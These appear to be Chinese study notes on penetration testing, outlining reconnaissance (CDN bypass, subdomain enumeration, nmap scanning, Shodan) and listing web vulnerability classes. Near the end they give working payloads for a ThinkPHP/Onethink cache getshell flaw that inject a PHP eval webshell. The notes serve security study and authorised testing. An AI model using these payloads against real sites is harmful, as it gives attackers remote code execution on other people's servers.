渗透测试(Python安全攻防)
明确目标
1.确定范围;2.确定限度;3.确定需求;
信息搜集
信息搜集的信息主要包括目标的IP地址,网段,域名和端口。
判断是否使用CDN;可以使用在线的网站http://ping.chinaz.com/
绕过CDN获取网站真实IP:
通过内部邮箱来获取网站真实ip;
查看域名的历史解析记录;
EXAMPLE网站查询(http://dnsdb.io/zn-cn)
子域名地址查询;
国外地址访问;
主域名查询;
去掉www
Nslookup查询;
去网络上查询与该公司的信息,如公司的邮箱,邮箱格式,公司员工姓名,公司人员配置等任何与之相关的信息,也可以到Github,码云等互联网代码托管平台查找与之相关的敏感信息。对网站进行指纹识别,识别网站所使用的CMS信息。指纹识别的网站http://www.yunsee.cn/finger.html
一.OSI 7层网络模型;(原理)
二.被动信息搜集:
IP查询;
import socket
ip=socket.gethostbyname(“ www.baidu.com “)
print(ip)
Whois查询,收集域名信息;(在线网站)
from whois import whois
data=whois(‘ www.baidu.com ‘)
print(data)
子域名挖掘(子域名挖掘工具){Layer子域名挖掘机,subDomainBrute,Sublist3r}
域名分为顶级域名,一级域名,二级域名
邮件爬取;
三.主动信息收集:
基于ICMP的主机发现;
ICMP是TCP/IP的一种子协议,位于网络层,其目的是用于在IP主机,路由器之间传递消息。Ping命令是ICMP中较为常见的一种应用,经常使用这个命令来测试本地与目标之间的连通性。
发送ICMP请求;
基于TCP,UDP的主机发现;
- 基于ARP的主机发现;
端口探测;
nmap
服务识别;
系统识别;
目前主要通过“指纹识别”的方式来对目标的操作系统来进行探测。检测的方法一般分为两种:主动式探测和被动式探测。
敏感目录探测;
dirsearch
四.网络空间搜索引擎;
收集敏感信息;
谷歌(谷歌语法),ZoomEye,Shodan,Burpsuite抓包查看server运行的版本和php的版本信息,
第三方聚合应用枚举;
DNSdumpster网站(https://dnsdumpster.com/)
端口扫描
nmap
漏洞探测
Redis未授权访问漏洞
XSS漏洞
SQL注入漏洞
文件上传漏洞
文件包含漏洞
代码/命令注入
原理:
在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec,sleep等,
当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞。漏洞复现1:(Onethink缓存Getshell)
成因:ThinkPHP 3.2.3-5.0.10缓存函数设计缺陷可导致Getshell;
POC:验证漏洞存在的一串代码;
利用方式:构造POC逃逸缓存文件中的//注释符;
Payload:
username=%0d%0aphpinfo();//
username=%0d%0a @eval($_POST['wzj']);//
username=%0d%0a @eval($_GET['wzj']);//
XXE漏洞(外部实体注入漏洞)
文件包含漏洞
逻辑漏洞